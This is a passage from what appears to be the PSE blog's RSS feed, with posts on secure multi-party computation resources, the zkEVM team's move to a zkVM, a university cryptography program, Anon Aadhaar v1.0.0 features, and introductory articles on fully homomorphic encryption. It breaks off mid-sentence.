to issues like high communication costs and intense computational needs. However, as technology improves and protocols are refined, MPC applications are growing. This technology is key for enabling secure, distributed computation and data analysis in our increasingly connected digital world. ## Resources These are some MPC projects we're building at [PSE](https://pse.dev/): - [mpz](https://github.com/privacy-scaling-explorations/mpz): Collection of multi-party computation libraries written in Rust :crab:. - [tlsn](https://github.com/tlsnotary/tlsn): Data provenance and privacy with secure multi-party computation. - [mpc-framework](https://github.com/voltrevo/circom-2-arithc-ts): Circom to Arithmetic Circuit compiler TypeScript library. And this is a great list of software libraries and frameworks to start building: - [awesome-mpc](https://github.com/rdragos/awesome-mpc?tab=readme-ov-file#software) ## References 1. Dickmanns Ludwig and von Maltitz Marcel. "Performance of Secure Multiparty Computation." [PDF](https://www.net.in.tum.de/fileadmin/TUM/NET/NET-2019-06-1/NET-2019-06-1_02.pdf), 2019. 2. Escudero Daniel. "An Introduction to Secret-Sharing-Based Secure Multiparty Computation." [PDF](https://eprint.iacr.org/2022/062.pdf), 2022. 3. Evans David, Kolesnikov Vladimir, and Rosulek Mike. "A Pragmatic Introduction to Secure Multi-Party Computation." [PDF](https://securecomputation.org/docs/pragmaticmpc.pdf), 2018. 4. Hastings Marcella, Hemenway Brett, Noble Daniel, and Zdancewic Steve. "SoK: General Purpose Compilers for Secure Multi-Party Computation." [PDF](https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=8835312), 2019. 5. Ishai Yuval, Prabhakaran Manoj, and Sahai Amit. "Founding Cryptography on Oblivious Transfer – Efficiently." [PDF](https://iacr.org/archive/crypto2008/51570574/51570574.pdf), 2008. 6. Lindell Yehuda. "Secure Multiparty Computation (MPC)." [PDF](https://eprint.iacr.org/2020/300.pdf), 2020. 7. Mann Zoltán Ádám, Weinert Christian, Chabal Daphnee, and Bos Joppe W. "Towards Practical Secure Neural Network Inference: The Journey So Far and the Road Ahead." [PDF](https://eprint.iacr.org/2022/1483.pdf), 2022. 8. Yakoubov Sophia. "A Gentle Introduction to Yao's Garbled Circuits." [PDF](https://web.mit.edu/sonka89/www/papers/2017ygc.pdf), 2017. ]]> mpc secure multi-party computation privacy cryptography garbled circuit secret sharing oblivious transfer security circuits threshold cryptography <![CDATA[The next chapter for zkEVM Community Edition]]> https://pse.dev/blog/the-next-chapter-for-zkevm-community-edition https://pse.dev/blog/the-next-chapter-for-zkevm-community-edition Wed, 05 Jun 2024 00:00:00 GMT <![CDATA[ We are excited to share some updates on our road to building a zkEVM, as we generalize our exploration towards the design and implementation of a general-purpose zkVM. Zero-knowledge research and development in the broader Ethereum ecosystem has been bearing wholesome fruits over the past three years. That came after years of vibrant ideation with an uncompromising approach to security, building on the shoulders of giants of the prover-verifier computational model in computer science and cryptography. Progress has been accelerating in the theory, design, and engineering of general-compute ZK systems since 2021, when we started working on a zkEVM implementation alongside our collaborators. We replaced the backend of the Halo2 instantiation of PLONK with the KZG commitment scheme in order to facilitate verification on Ethereum, and with it we collectively built highly-optimized circuits of self-contained components of the Ethereum protocol. We extend our thanks and appreciation to the Scroll and Taiko teams, who developed the project with us from the early days, as well as the many amazing community contributors, for their great contributions to this effort. We are lifting circuits of some [primitives](https://github.com/privacy-scaling-explorations/zkevm-circuits/blob/main/zkevm-circuits/src/keccak_circuit.rs) into their own libraries for the community to take advantage of, especially in the emerging paradigm of zkVMs with hand-optimized precompiles. Today, our fork of Halo2 has a [distinct architecture](https://github.com/privacy-scaling-explorations/halo2/pull/254), [expanded features](https://github.com/privacy-scaling-explorations/halo2curves), and an active community of contributors [pushing it forward](https://github.com/privacy-scaling-explorations/halo2/pull/277). We congratulate Scroll for bringing the fruits of our collaboration to a [successful zkRollup deployment](https://scroll.io/blog/founder-letter). With our experience building a zkEVM, and with libraries, [designs](https://github.com/privacy-scaling-explorations/zkevm-circuits/pull/1785), and a state-of-the-art proof development kit under our belt, we now shift our focus to a new zkVM design that explores different ideas — [old](https://dl.acm.org/doi/abs/10.1145/2699436) and [new](https://eprint.iacr.org/2024/325) — and researches and fine-tunes new ones, particularly given the improvements in prover efficiency that weren't available 2 years ago. There is a lot that goes into proving the validity of an Ethereum block, and targeting a lower-level VM for arithmetization simplifies proving the parts for light clients, and reduces the complexity of proving the whole of Ethereum blocks. The generality of zkVMs incurs overhead, but that is outweighed by gains in lower complexity, better auditability, and easier maintenance as the proof system of the execution environment gets abstracted away from changes to the base Ethereum protocol. We remain focused on our long-term goal: accessible proving and verification of Ethereum blocks — and without additional trust assumptions on light clients. Combined with upcoming upgrades such as danksharding, the end-game of maximally decentralized, scalable, and secure Ethereum is firmly in-sight, and we are thrilled to continue playing a major role towards that wonderful destination. We build in the open, and welcome collaboration with and contributions from builders in our ecosystem who share our values and commitment to advancing free, open, secure, and privacy-preserving software for our societies. ]]> zkevm zero-knowledge proofs ethereum scaling cryptography rollups zkvm research infrastructure/protocol proof systems <![CDATA[Unleashing Potential: Introducing the PSE Core Program]]> https://pse.dev/blog/unleashing-potential-introducing-the-pse-core-program https://pse.dev/blog/unleashing-potential-introducing-the-pse-core-program Wed, 24 Apr 2024 00:00:00 GMT <![CDATA[This post was written by the PSE EcoDev Team.]]> <![CDATA[ Hey there, curious minds! Are you ready to dive into the world of practical skills and open-source project contributions? Well, buckle up because we're about to embark on an exciting journey through the **PSE Core Program!** PSE's Core Program is an eight-week introductory course for university students looking to explore the world of programmable cryptography. The program will be run hybrid style with online and in-person sessions. in The LatAm Core Program will run from July 22, 2024 - September 15, 2024 in Argentina (Buenos Aires), Costa Rica (San José), Ecuador (Cuenca). The Asia Core Program will run from Jul. 29, 2024 - Sep. 22, 2024 in Japan (Tokyo), South Korea (Seoul), and Taiwan (Taipei). Submit [an application](https://docs.google.com/forms/d/e/1FAIpQLSendzYY0z_z7fZ37g3jmydvzS9I7OWKbY2JrqAnyNqeaBHvMQ/viewform) to join! In today's digital landscape, privacy and security are paramount. That's where Zero Knowledge (ZK) technologies come into play. By allowing parties to verify information without revealing any underlying data, ZK protocols offer a revolutionary solution to protect sensitive information in a world where data breaches and privacy violations are all too common. With ZK protocols, individuals can engage in transactions, authenticate identities, and share information without compromising their privacy. It's a game-changer for industries ranging from finance and healthcare to communications and beyond. But here's the best part: you won't be navigating this journey alone. The Core Program works in a **Hybrid Learning Model**. We blend the flexibility of self-learning with weekly in-person meetups. These sessions are all about sparking discussions, networking, and solving challenges together. You'll have mentors, community managers, and more people from the PSE team by your side; plus, weekly in-person meetings where you can network with fellow enthusiasts. Who knows? You might even meet your future co-founder in one of these sessions. Throughout the PSE Core Program, participants will dive deep into ZK fundamentals, gain hands-on experience with cutting- edge technologies, and contribute to real-world projects. As the demand for ZK expertise continues to grow, this program presents a unique opportunity for participants to carve out a successful career path in a field with a brilliant future ahead. ### Curriculum [ { "title": "WEEK 0: PRE-REQUISITES", "items": [ "Course overview and resources", "Git, GitHub, and PR workflow basics", "Introduction to ZKPs and Number Theory" ] }, { "title": "WEEK 1: CRYPTOGRAPHIC BASICS", "items": [ "Getting started with Circom", "Basics of encryption and hash functions", "Digital signatures and elliptic curve cryptography" ] }, { "title": "WEEK 2: MORE CRYPTO + ZKPS", "items": [ "Circom crash course + practice", "KZG Commitments and zkSNARKs", "Overview of Trusted Setups and Groth16" ] }, { "title": "WEEK 3: HACKATHON", "items": [ "A break from studying", "One week to build something with your new skills!" ] }, { "title": "WEEK 4: PLONK WEEK", "items": [ "Learn Rust and complete Rustlings", "Deep dive into PLONK", "Make a presentation and blog post on PLONK" ] }, { "title": "WEEK 5: TECHNOLOGIES + APPLICATIONS", "items": [ "Halo2 introduction and practical", "Study of FHE and MPC", "Explore Semaphore, Bandada, TLSNotary, ZKEmail" ] } ] ### Frequently Asked Questions { "type": "multiple", "size": "xs", "items": [ { "value": "who-can-apply", "label": "Who can apply?", "children": "The Core Program is open to university students based in Japan, South Korea, Taiwan, Costa Rica, Ecuador and Argentina with a basic understanding of programming. If you're currently enrolled in a mathematics or computer science program, you’re likely an excellent fit." }, { "value": "structure", "label": "What is the structure of the program?", "children": "We use a hybrid learning model with the majority of learning happening online and weekly in-person meetings for discussions and problem-solving. The program consists of three stages: 1) self-driven exploration & guidance, 2) hands-on circuit writing, and 3) open-source project contribution." }, { "value": "time-commitment", "label": "How much time will I need to commit?", "children": "We’re looking for dedicated students who can commit 40 hours a week from mid-July to September. You will be required to attend in-person meetups once a week and make presentations." }, { "value": "remote", "label": "Can I participate remotely?", "children": "Unfortunately no, the weekly in-person sessions are required for in-depth discussions and collaborative problem-solving." }, { "value": "gain", "label": "What will I gain from this program?", "children": "Upon completing the program, you'll have comprehensive knowledge about programmable cryptography, a bolstered GitHub portfolio, and opportunities to apply for grants for further research and contributions." }, { "value": "questions", "label": "What if I have more questions?", "children": "For any further questions or additional information, you can join our [Telegram group](https://t.me/+ebGauHbpDE0yZGIx)!" } ] } ]]> education zero-knowledge proofs privacy cryptography proof systems open-source security public goods <![CDATA[Advancing Anon Aadhaar: what's new in v1.0.0]]> https://pse.dev/blog/advancing-anon-aadhaar-whats-new-in-v100 https://pse.dev/blog/advancing-anon-aadhaar-whats-new-in-v100 Wed, 14 Feb 2024 00:00:00 GMT <![CDATA[This post was written by the Anon Aadhaar team. If you're new to Anon Aadhaar make sure to read our [initial announcement post](https://mirror.xyz/privacy-scaling-explorations.eth/6R8kACTYp9mF3eIpLZMXs8JAQmTyb6Uy8KnZqzmDFZI).]]> <![CDATA[ [Anon Aadhaar](https://github.com/anon-aadhaar/anon-aadhaar) is a protocol that enables [Aadhaar](https://en.wikipedia.org/wiki/Aadhaar) holders to prove their identity anonymously. It works by verifying the Aadhaar card's issuer signature, which is issued by the Indian government in formats like _PDF_, _XML_, and _Secure QR_ code. These digital versions are signed using RSA, involving a pair of keys: a private key for signing data and a public key for verification. Our protocol leverages the [UIDAI's](https://uidai.gov.in/en/about-uidai.html) (government authority) RSA signature, enabling us to verify the documents as anyone could. The novelty of our approach is the use of a SNARK proof in the verification process, which hides sensitive data from the verifier, maintaining the same level of verification while enhancing privacy. **Recap of Previous Version Developments** In the previous version, we implemented RSA verification in Circom using Groth16. We used the eAadhaar PDF, which is easily downloadable by Aadhaar residents, for signature verification. However, we encountered two major issues: 1. The PDF's size was too large for circuit input 2. A changing timestamp in the document made it impossible to have a consistent identity hash To overcome these obstacles, we transitioned to use the [Aadhaar secure QR code](https://uidai.gov.in/en/ecosystem/authentication-devices-documents/qr-code-reader.html) for verification purposes. This method is not only broadly adopted but also readily accessible through the [mAadhaar](https://uidai.gov.in/en/contact-support/have-any-question/285-english-uk/faqs/your-aadhaar/maadhaar-faqs.html) mobile application or via the printed version of the e-Aadhaar PDF. This adjustment enhances the efficiency of verifying signed identity data and streamlines the process of document parsing within our system. **Key Features in v1.0.0** 1. **SHA-256 Hash Verification**: leveraging [zk-email](https://github.com/zkemail) implementation, we've integrated SHA-256 hash verification alongside RSA verification, allowing us to work effectively with the signed data. 2. **Extractor**: with verified data, our new Circom extractor implementation enables selective extraction of identity fields from the document. 3. **Nullifiers**: we're now computing two types of nullifiers: - **userNullifier**: this nullifier serves as a high-entropy, unique identifier for each user, virtually eliminating the possibility of collisions between the identifiers of different individuals. It is generated by hashing the combination of the last four digits of a user's Aadhaar number and their identity photo. The unique byte data of the photo enhances the identifier's uniqueness, ensuring distinctness even in the vast pool of users. This approach is particularly useful for app interactions, where collision avoidance is crucial. ```jsx userNullifier = Hash(last4, photo) ``` - **identityNullifier**: This nullifier is constructed from a hash of various personal identity elements, including the last four digits of the Aadhaar number, date of birth (DOB), name, gender, and PIN code. The design of the identity nullifier allows for its easy recomputation by users, should there be any changes to their identity data. This feature is particularly valuable for maintaining continuity of identity within the system. For instance, if a user updates their photo—thus altering their user nullifier—they can still be linked to their historical interactions by recalculating the identity nullifier using readily available personal information. ```jsx identityNullifier=Hash(last4,name,DOB,gender,pin code) ``` The dual nullifier system ensures both robust identity verification and the flexibility to accommodate changes in user data, maintaining a seamless user experience while safeguarding against identity collisions and enhancing privacy and security. 4. **Timestamp Check**: our circuit extracts the IST signature timestamp, captured at the moment the QR code is signed, and convert it to UNIX UTC timestamp. This serves as a real-time indicator of document issuance and user access to their UIDAI portal, functioning akin to a Time-based One-Time Password (TOTP) system. It ensures document freshness and validates recent user interaction, requiring proofs to be signed within a specified timeframe (e.g., less than 1 hour ago) for verification purposes. 5. **Signal Signing**: this functionality empowers both applications and users to securely sign any data during the proof generation process, a critical component for implementing ERC-4337 standards. It facilitates the creation of Aadhaar-linked transaction hash signatures, offering a robust mechanism to deter front-running in on-chain transactions by anchoring the _msg.sender_ identity within smart contract interactions. This advancement paves the way for the development of Account Abstraction Wallets, enabling users to authenticate and execute transactions directly with their identity, streamlining the user experience while enhancing security. 6. **Improved On-chain Verification Gas Cost**: outputting the issuer's public key hash from the circuit allows us to store this value in the AnonAadhaar smart contract, reducing on-chain verification costs. **Looking Forward** We are incredibly excited to see what developers will build using Anon Aadhaar v1! And invite you to join the [Anon Aadhaar Community](https://t.me/anon_aadhaar) to continue the conversation. To support and inspire your innovative projects, we prepared a variety of resources for you to try: - **[GitHub Repository](https://github.com/anon-aadhaar/anon-aadhaar)**: dive into the codebase and explore the inner workings of our protocol. - **[Project ideas to Build with Anon Aadhaar:](https://github.com/anon-aadhaar/anon-aadhaar/discussions/155)** looking for inspiration? Here are some ideas we've compiled. - **[On-chain voting Example App](https://github.com/anon-aadhaar/boilerplate)**: get hands-on with a practical implementation to see how Anon Aadhaar can be integrated into real-world applications. - **[Quick Setup Repository](https://github.com/anon-aadhaar/quick-setup)**: for those eager to get started, this repository provides a streamlined Nextjs setup process. - **[Documentation](https://anon-aadhaar-documentation.vercel.app/)**: comprehensive and detailed, our documentation covers everything from basic setup to advanced features, ensuring you have the information needed at your fingertips. - **[Roadmap](https://github.com/privacy-scaling-explorations/bandada/discussions/350)**: get an idea about how we're thinking of evolving the protocol. We're eager to witness the creative and impactful ways in which the developer community will utilize Anon Aadhaar, pushing the boundaries of privacy and security in digital identity verification. Happy coding! ]]> anonaadhaar privacy zero-knowledge proofs digital identity identity circom ethereum cryptography <![CDATA[Zero to Start: Applied Fully Homomorphic Encryption (FHE) Part 1]]> https://pse.dev/blog/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1 https://pse.dev/blog/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1 Thu, 21 Dec 2023 00:00:00 GMT <![CDATA[This post was written by [0xZoey](https://twitter.com/0xZoey). Special thanks to [Janmajaya](https://twitter.com/Janmajaya_mall), [Enrico](https://twitter.com/backaes?lang=en), and [Owen](https://twitter.com/omurovec) who generously gave their time and expertise to review this piece. Your valuable contributions and feedback have greatly enhanced the quality and depth of this work. /n/n Find [Part 2: Fundamental Concepts, FHE Development, Applied FHE, Challenges and Open Problems](https://mirror.xyz/privacy-scaling-explorations.eth/wQZqa9acMdGS7LTXmKX-fR05VHfkgFf9Wrjso7XxDzs) here…]]> <![CDATA[ ## **What is FHE?** Present privacy technology ensures secure communication and storage, encrypting our emails during transit and safeguarding databases in storage. However, accessing data for **processing** requires the data to be first decrypted. What if secure processing could occur without compromising data privacy? ![FHE allows computation over encrypted data](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/PK_2cdH2q63Dovvnlh777.webp) FHE allows computation over encrypted data **Fully Homomorphic Encryption (FHE) is a technology that allows computation over encrypted data, where only the owner of the key can decrypt the result of the computation.** This article focuses on the current state of FHE, fundamental concepts, applied FHE, and design challenges ahead. It is meant to help users understand the thought framework around applied FHE without requiring the reader to understand complex math or cryptography. The idea for FHE was initially proposed in 1978 by Rivest, Adleman, and Dertouzous (the "R" and "A" of [RSA]()). FHE is an extension of public key cryptography; the encryption is "homomorphic" because it works on the principle that for every function performed on unencrypted text (Plaintext), there is an equivalent function for encrypted text (Ciphertext). ![Homomorphic Encryption](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/PoAkyRxFZ5v2OieE-iRPS.webp) Homomorphic Encryption FHE shares fundamental components with traditional cryptography like encryption, decryption, and key generation. In addition to this, it uniquely enables arithmetic operations such as addition and multiplication on ciphertexts. There are generally four categories of homomorphic encryption: 1. **Partially homomorphic**: enables only one type of operation (addition or multiplication). RSA is an example of partially homomorphic encryption only using multiplication and not addition. 2. **Somewhat homomorphic**: limited for one operation but unlimited for the other. For example, limited multiplications but unlimited additions. 3. **Leveled homomorphic**: limited operations for both addition and multiplication 4. **Fully homomorphic**: unlimited operations for both addition and multiplication (and others). ![](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/QkcoPW4EGRdD9wBEpqHb4.webp) In the past, the difficulty in achieving FHE was due to the "noise" that accumulated with every subsequent operation. The excess overflow in noise eventually makes decryption impossible. Craig Gentry proposed the first FHE scheme in 2009, where he solved this problem with a method called bootstrapping. Bootstrapping is used to recursively evaluate the decryption circuit to reduce and manage noise accumulation. ## **Why is FHE important?** Fully Homomorphic Encryption (FHE) signifies a groundbreaking shift in privacy, enabling data-centric systems to preserve privacy with minimal data exposure inherently. FHE, built using lattice-based cryptography, also offers the notable advantage of being post-quantum resistant, ensuring robust security against future potential threats from quantum computing. Some [general](https://homomorphicencryption.org/wp-content/uploads/2018/10/CCS-HE-Tutorial-Slides.pdf?ref=blog.sunscreen.tech) FHE use cases include: - Private inference & training: FHE could be used to protect the privacy of both the model and data (likely 3-5 years away). - Encrypted searches: query an encrypted file and only see the result of your specific query without the entire contents of the database revealed, also known as Private Information Retrieval (PIR). - Policy Compliance & Identity Management: Secure identity management by enabling the processing of identity-related data without exposure, allowing organizations to comply with regulators' KYC policies. ![General FHE Use Cases](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/qZBR43OiJJQubIwL1iIc2.webp) General FHE Use Cases Fully Homomorphic Encryption (FHE) holds immense significance in blockchain technology because it can perform encrypted data computations within a trustless environment. We won't dive into the importance of privacy on the blockchain and how off-chain ZKPs are not the complete solution, but Wei Dai's article [Navigating Privacy on Public Blockchains](https://wdai.us/posts/navigating-privacy/) is a great primer. Here are some theoretical blockchain use cases that FHE could facilitate: - [Private Transactions](https://eprint.iacr.org/2022/1119.pdf): the processing of confidential transactions by smart contracts, allowing private transactions in dark pools, AMMs, blind auctions, and voting. - [MEV](https://collective.flashbots.net/t/frp-10-distributed-blockbuilding-networks-via-secure-knapsack-auctions/1955) (Maximal Extractable Value) Mitigation: FHE could potentially allow proposing blocks and ordering transactions while ensuring Pre-execution, failed execution, and post-execution privacy, offering a potential solution to prevent front-running. - Scaling: [Leveraging](https://www.fhenix.io/fhe-rollups-scaling-confidential-smart-contracts-on-ethereum-and-beyond-whitepaper/) [FHE Rollups](https://www.fhenix.io/wp-content/uploads/2023/11/FHE_Rollups_Whitepaper.pdf) presents a scalable approach to execute private smart contracts utilizing the security derived from Ethereum for state transitions - [Private Blockchains](https://eprint.iacr.org/2022/1119.pdf): encrypted chain states that are programmatically decrypted via consensus using Threshold FHE. ![FHE: Blockchain Use Cases](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/duTnCuiIvMfqdk3ZERSe2.webp) FHE: Blockchain Use Cases The applied use cases for FHE are far-reaching, there are non-trivial technical challenges to overcome, and many are still being explored today. At its core, FHE ensures secure **data processing**, which, combined with other cryptographic primitives, can be incredibly powerful. In our exploration of Applied FHE, we dive deeper into real-world applications and use cases. ## **ZKP, MPC, & FHE** The terms ZKPs, MPC, and FHE have often been misused and interchanged and have been the source of much confusion. The post, [Beyond Zero-Knowledge: What's Next in Programmable Cryptography?](https://mirror.xyz/privacy-scaling-explorations.eth/xXcRj5QfvA_qhkiZCVg46Gn9uX8P_Ld-DXlqY51roPY) provides a succinct overview and comparisons of Zero-Knowledge Proofs (ZKPs), Multi-Party Computation (MPC), Fully Homomorphic Encryption (FHE) and Indistinguishability Obfuscation (iO). All fall under the broader umbrella of programmable cryptography. To briefly summarize how the three concepts are connected: **[Multi-Party Computation (MPC)](https://www.youtube.com/watch?v=aDL_KScy6hA&t=571s)**: MPC, when described as a **_general function_**, is any setup where mutually distrustful parties can individually provide inputs (private to others) to collaboratively compute a public outcome. MPC can be used as the term used to describe the **_technology_** itself, where randomized data shares from each individual are delegated for compute across servers. ![MPC](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/poh6Brvlh1qyBiYpgPxyP.webp) MPC To add to the confusion, it is also often used to describe MPC **_use cases_**, most notably in the context of [Distributed Key Generation](https://en.wikipedia.org/wiki/Distributed_key_generation) (DKG) and [Threshold Signature Schemes](https://link.springer.com/referenceworkentry/10.1007/0-387-23483-7_429#:~:text=Threshold%20signatures%20are%20digital%20signatures,structure%20of%20a%20threshold%20scheme.) (TSS). Three leading technologies form the [building blocks](https://open.spotify.com/episode/4zfrPFbPWZvn6fXwrrEa5f?si=9ab56d47510f4da0) of MPC **_applications_**: [Garbled Circuits (GC)](https://www.youtube.com/watch?v=La6LkUZ4P_s), Linear Secret Sharing Schemes (LSSS), and Fully Homomorphic Encryption (FHE). These can be used both conjunctively or exclusively. ![MPC & ZKPs](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/XiqL4MvjssDILJ59mDR5_.webp) MPC & ZKPs **Zero-Knowledge Proofs (ZKPs):** A method that allows a single party (prover) to prove to another party (verifier) knowledge about a piece of data without revealing the data itself. Using both public and private inputs, ZKPs enable the prover to present a true or false output to the verifier. ![ZKPs](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/8YgbCNa_VDgqwUo3y5qaG.webp) ZKPs In Web 3 applications, the integration of ZKPs alongside FHE becomes crucial for constructing private and secure systems. ZKPs are vital because they can be used to generate proofs of correctly constructed FHE ciphertexts. Otherwise, users can encrypt any unverified gibberish. Hence corrupting the entire FHE circuit evaluation. Note the difference in ZKPs, FHE, and MPCs, where the input element of each primitive is distinct when evaluating the exposure of private data. - In ZKPs, private data contained in the input is only _visible to the prover_ - In MPC, private data contained in each input is only _visible to the owner_ - In FHE, private data contained in the input is encrypted and is **_never revealed_** While MPC is network bound, FHE and ZKPs are compute bound. The three primitives also differ regarding relative computation costs and interactiveness required between parties. ![ZKPs, MPC, FHE, computation costs and interactiveness](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/fkjwJBfIJ2VkIGLKsqK1D.webp) ZKPs, MPC, FHE, computation costs and interactiveness In summary, - ZKPs focus on proving the truth of a statement without revealing the underlying data; it is useful for preserving private states for the prover. - MPC enables joint computation; it is useful when users want to keep their state private from others. - FHE allows computations on encrypted data without decryption; it is non-interactive and useful for preserving privacy throughout the entire computation process. FHE is an extension of public key cryptography, not a replacement for ZKPs or MPC. Each can act as an individual building block and serve a distinct cryptographic purpose. An assessment needs to be made on where and which primitive should be applied within different applications. ## **The State of FHE Today** Early concepts of FHE developed in the 1970s-90s laid the theoretical groundwork for homomorphic encryption. However, the real breakthrough came with Gentry's solution for FHE in 2009. The initial construction needed to be faster to be practically applied. Performance at the time was close to 30mins per bit operation and only applicable in a single key setting. Much of the research published following Gentry's paper has been focused on performance improvements that address these issues through: - [refining schemes](https://eprint.iacr.org/2021/315.pdf) - [reducing computation complexity](https://eprint.iacr.org/2023/1788) - [faster bootstrapping](https://eprint.iacr.org/2023/759), and - [hardware acceleration](https://eprint.iacr.org/2023/618) FHE is not possible with Ethereum today due to the size of ciphertexts and the cost of computation on-chain. It is estimated with the current rate of hardware acceleration, we may see applications in production by 2025. Zama's implementation of [fhEVM](https://docs.zama.ai/fhevm/) is a fork of Ethereum; they have several [tools](https://docs.zama.ai/homepage/) available: - **[TFHE-rs](https://docs.zama.ai/tfhe-rs)**: Pure Rust implementation of TFHE for boolean and small integer arithmetics over encrypted data - **[fhEVM](https://docs.zama.ai/fhevm)**: Private smart contracts on the EVM using homomorphic encryption There are some challenges with ZAMA's fhEVM approach that are yet to be improved. Networks using ZAMA's fhEVM are limited to about 2 FHE transactions per second (tps). Compared to Ethereum's ~15 tps this is not far off; however, it will need to be greatly improved for many time-sensitive applications. Additionally, operations on encrypted integers are much more difficult to perform than on plaintext integers. For example, on an Amazon m6i.metal machine (one of Amazon's top machines costing $2-4k per month to operate): - adding or subtracting two **encrypted** uint8 values takes around 70ms - adding **plaintext** uint8 values is essentially free and instant on any modern device There are also limitations to the size of unsigned integers available in the fhEVM context. Encrypted uint32 values are the largest possible in the fhEVM, while uint256 are the largest in the standard EVM and are used frequently by many protocols on Ethereum. Due to the challenge of operating on encrypted values in the fhEVM it is currently unreasonable to run validators at home, which makes this more suitable for networks with a smaller, more trusted validator set. [Sunscreen](https://docs.sunscreen.tech/) is another project actively working on FHE; they have a Rust-based FHE compiler using the BFV scheme with a [playground](https://playground.sunscreen.tech/). They've deployed a [blind auction](https://demo.sunscreen.tech/auctionwithweb3) proof of concept on SepoliaETH. [Fhenix](https://docs.fhenix.io/), a team working on a modular "FHE blockchain extension", plans on launching their testnet in January 2024. They also recently released their [whitepaper on FHE-Rollups](https://www.fhenix.io/fhe-rollups-scaling-confidential-smart-contracts-on-ethereum-and-beyond-whitepaper/). In the last five years, significant advancements have been made to make FHE more usable. Shruthi Gorantala's [framework](https://youtu.be/Q3glyMsaWIE?si=TbhlNxGsozbalIHU&t=1278) for thinking about FHE development as a hierarchy of needs is particularly helpful. The performance improvements listed above address deficiency needs and are contained in Layers 1-3 within the FHE tech stack. For FHE to realize its full potential, we also need to address the growth needs listed in Layers 4-5. ![FHE Hierarchy of Needs](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-1/ZQ48QaY9vXvlwn-4Eh2B9.webp) FHE Hierarchy of Needs A critical aspect of systems integration is figuring out how to combine FHE technology with other privacy-enhancing primitives like ZKPs and MPC in a way that suits each unique trust model and protocol. Continue to [Part 2: Fundamental Concepts, FHE Development, Applied FHE, Challenges and Open Problems](https://mirror.xyz/privacy-scaling-explorations.eth/wQZqa9acMdGS7LTXmKX-fR05VHfkgFf9Wrjso7XxDzs). ]]> fhe cryptography privacy security ethereum education post-quantum cryptography zero-knowledge proofs <![CDATA[Zero to Start: Applied Fully Homomorphic Encryption (FHE) Part 2]]> https://pse.dev/blog/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2 https://pse.dev/blog/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2 Thu, 21 Dec 2023 00:00:00 GMT <![CDATA[This post was written by [0xZoey](https://twitter.com/0xZoey), with contributions from Chance. /n This is an extension of [Part 1: An Introduction to FHE, ZKPs & MPC, and The State of FHE Development](https://mirror.xyz/privacy-scaling-explorations.eth/D8UHFW1t48x2liWb5wuP6LDdCRbgUH_8vOFvA0tNDJA).]]> <![CDATA[ ## **Fundamental Concepts** ### **Threshold FHE** Threshold cryptography involves splitting a single cryptographic key into "shares" across multiple parties. You may already be familiar with Threshold Signatures Schemes (TSS), which are most commonly used in MPC wallets. The required threshold of parties to collaborate to gain access to the private key is usually predefined. This is different from a multi-sig scenario where multiple "whole" keys are used. ![Threshold Cryptography vs Multi-Sig](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/wfpyPpbJRvjEtiiMA2BSK.webp) Threshold Cryptography vs Multi-Sig In [Threshold FHE](https://eprint.iacr.org/2017/257), the concept acts similarly to TSS, but key shares are extended to the decryption process, requiring multiple entities to cooperate to decrypt data. This reinforces security by distributing decryption authority. In the [PESCA](https://eprint.iacr.org/2022/1119.pdf) blueprint and [Zama](https://github.com/zama-ai/fhevm/blob/main/fhevm-whitepaper.pdf)'s implementation, an example of threshold FHE is used to compute over encrypted blockchain states. The transparent and public nature of blockchain data means that to maintain privacy, we need to be able to decrypt states and allow smart contracts to be composable selectively. The private key shares are distributed to validators, and a certain threshold of private keys is required for decryption. No single validator or group smaller than the threshold is able to decrypt the blockchain state. [Note](https://discord.com/channels/901152454077452399/1126507772524113930/1156317837850329098) that the threshold only applies to privacy and the risk is on confidentiality, not on actual assets. Dynamic Proactive Secret Sharing could theoretically be used to support a consensus set where validator nodes are joining and leaving. There are some caveats to a Threshold FHE setup that requires an honest majority, which we discuss further in the challenges section. ### **FHE & MPC** With Threshold-FHE, trust is placed with a group of private key holders; in [FHE-MPC,](https://link.springer.com/article/10.1007/s10623-022-01160-x) trust assumptions are minimized to each individual party. A simple example between 2 parties: - The first party encrypts their input to create a ciphertext - The ciphertext is passed to the second party - The second party performs a function using FHE on the ciphertext and their own input, producing a second ciphertext. - The second ciphertext is returned to the first person who performs the decryption. ![FHE-MPC](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/2Q7CXhkswBJb3Yp1Y77Er.webp) FHE-MPC MPC and FHE can be combined in several ways: - Multi-Key FHE-based MPC: Multiple FHE key pairs are combined to perform MPC - Multi-Party FHE-based MPC: Key generation is distributed, and Decryption is also distributed. The [takeaway](https://eprint.iacr.org/2023/981.pdf) here is the combination of the two technologies allow the key properties of MPC to be combined with FHE. However, managing FHE ciphertext size with the communication complexity between parties in MPC is an important consideration. ### **Lattice-based cryptography** Lattice-based cryptography provides the mathematical framework that underpins every FHE scheme. It is also used in the three post-quantum computing (PQC) standardization digital signature schemes [selected by NIST](https://csrc.nist.gov/news/2023/additional-pqc-digital-signature-candidates), CRYSTALS-Dilithium, FALCON, and SPHINCS+. The security of lattice-based cryptography comes from the inherent difficulty of solving lattice problems. Think of [lattice-based cryptography](https://www.youtube.com/watch?v=K026C5YaB3A) as two vectors forming a pattern over a grid. As we add more vectors across multiple dimensions, this pattern becomes increasingly complex. ![Lattice-Based Cryptography](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/1hOeDx2ijeoP2fjQyIWhR.webp) Lattice-Based Cryptography Finding the shortest vector to the point of origin of the very first vector becomes extremely difficult, almost impossible. This is known as the Shortest Vector Problem (SVP). ### **Learning With Errors (LWE) & Ring-LWE** [Learning With 